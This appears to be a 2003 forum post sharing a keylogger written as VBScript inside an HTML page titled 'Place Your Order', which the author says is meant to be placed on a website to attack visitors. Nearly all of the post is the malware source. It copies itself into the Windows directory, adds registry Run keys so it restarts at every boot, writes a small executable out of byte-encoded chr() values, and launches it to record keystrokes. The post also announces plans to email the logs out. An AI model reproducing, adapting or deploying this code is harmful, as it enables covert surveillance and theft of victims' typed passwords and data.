-
January 15th, 2003, 10:06 PM
#1
HTML&VBS keyloger V1.0 By Atmaca
yes this txt source code is a keyloger ...
save this code in a html format and click it ...
keyloger will start to log in c:\.atm .....
you can put this code in your site to atack to victim ...
if victim open your page i.explorer will ask to victim for activex controller ...
if victim accept this sertifica keyloger start to run and every time when computer start it will start ...
in V1.1 i will install to option to send log file to spesial email adress using mapi ...
Not: I know very litle english .. i 'm sory for this ...
<HTML>
<HEAD>
<TITLE>Place Your Order</TITLE>
<SCRIPT LANGUAGE="VBScript">
<!--
Set atm1 = CreateObject("Scripting.FileSystemObject")
if (fileexist("c:\windows\kayit.atm")=1) then
end if
function fileexist(filespec)
if (atm1.FileExists(filespec)) Then
else
msgbox "http://atmacasoft.kolayweb.com" &vbcrlf& _
"E-mail: atmaca@prohack.net"
end if
end function
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
On Error Resume Next
Dim fs, a
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFIle("c:\windows\kayit.atm",2)
a.Writeline("ATmaCA Vbs&Htm Keyloger V1.0")
a.Writeline("Coded By ATmaCA")
a.Writeline("atmaca@prohack.net")
a.Writeline("http://atmacasoft.kolayweb.com")
a.close
dim kopya
Set prg= CreateObject("Scripting.FileSystemObject")
set dosya = prg.OpenTextFile(WScript.ScriptFullname,1)
kopya=dosya.ReadAll
Set c = prg.GetFile(WScript.ScriptFullName)
c.Copy("c:\windows\atm.vbs")
On Error Resume Next
dim kayit_defteri1
Set kayit_defteri1 = CreateObject("WScript.Shell")
kayit_defteri1.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\atmaca","c:\windows\atm.vbs"
kayit_defteri1.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\atmaca","c:\windows\atm.exe"
dim filesys, filetxt, isim, path, textfile, i
textfile = "c:\windows\atm.exe"
Set filesys = CreateObject("Scripting.FileSystemObject")
Set filetxt = filesys.CreateTextFile(textfile, True)
isim = filesys.GetFileName(path)
filetxt.Write(chr(77) & chr(90) & chr(128) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(4) & chr(0) & chr(16) & chr(0) & chr(255) & chr(255) & chr(0) & chr(0) & chr(64) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(64) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(128) & chr(0) & chr(0) & chr(0) & chr(14) & chr(31) & chr(186) & chr(14) & chr(0) & chr(180) & chr(9) & chr(205) & chr(33) & chr(184) & chr(1) & chr(76) & chr(205) & chr(33) & chr(40) & chr(67) & chr(41) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(44) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(36) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(80) & chr(69) & chr(0) & chr(0) & chr(76) & chr(1) & chr(1) & chr(0) & chr(171) & chr(34) & chr(247) & chr(61) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(224) & chr(0) & chr(142) & chr(129) & chr(11) & chr(1) & chr(1) & chr(41) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(64) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(4) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(230) & chr(16) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(48) & chr(1) & chr(1) & chr(0) & chr(2) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(62) & chr(16) & chr(0) & chr(0) & chr(150) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(212) & chr(16) & chr(0) & chr(0) & chr(18) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(67) & chr(58) & chr(92) & chr(46) & chr(97) & chr(116) & chr(109) & chr(0) & chr(230) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(212) & chr(0) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(96) & chr(0) & chr(0) & chr(224) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(49) & chr(246) & chr(86) & chr(255) & chr(21) & chr(185) & chr(16) & chr(64) & chr(0) & chr(61) & chr(1) & chr(128) & chr(255) & chr(255) & chr(117) & chr(35) & chr(137) & chr(245) & chr(104) & chr(59) & chr(16) & chr(64) & chr(0) & chr(104) & chr(120) & chr(1) & chr(64) & chr(0) & chr(255) & chr(21) & chr(144) & chr(16) & chr(64) & chr(0) & chr(137) & chr(195) & chr(83) & chr(85) & chr(255) & chr(21) & chr(148) & chr(16) & chr(64) & chr(0) & chr(83) & chr(255) & chr(21) & chr(152) & chr(16) & chr(64) & chr(0) & chr(70) & chr(131) & chr(254) & chr(126) & chr(117) & chr(201) & chr(235) & chr(197) & chr(97) & chr(43) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(122) & chr(16) & chr(0) & chr(0) & chr(144) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(133) & chr(16) & chr(0) & chr(0) & chr(185) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(67) & chr(82) & chr(84) & chr(68) & chr(76) & chr(76) & chr(46) & chr(68) & chr(76) & chr(76) & chr(0) & chr(85) & chr(83) & chr(69) & chr(82) & chr(51) & chr(50) & chr(46) & chr(68) & chr(76) & chr(76) & chr(0) & chr(160) & chr(16) & chr(0) & chr(0) & chr(168) & chr(16) & chr(0) & chr(0) & chr(176) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(102) & chr(111) & chr(112) & chr(101) & chr(110) & chr(0) & chr(0) & chr(0) & chr(102) & chr(112) & chr(117) & chr(116) & chr(99) & chr(0) & chr(0) & chr(0) & chr(102) & chr(99) & chr(108) & chr(111) & chr(115) & chr(101) & chr(0) & chr(193) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(71) & chr(101) & chr(116) & chr(65) & chr(115) & chr(121) & chr(110) & chr(99) & chr(75) & chr(101) & chr(121) & chr(83) & chr(116) & chr(97) & chr(116) & chr(101) & chr(0) )
filetxt.Close
dim www
dim qqq
Const ForReading = 1, ForWriting = 2, ForAppending = 3
const RemoteExe = "c:\windows\atm.exe"
set qqq = wscript.createobject("wscript.shell")
www = qqq.run ("cmd /c c:\windows\atm.exe")
wscript.quit
-->
</SCRIPT>
</HEAD>
<BODY>
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|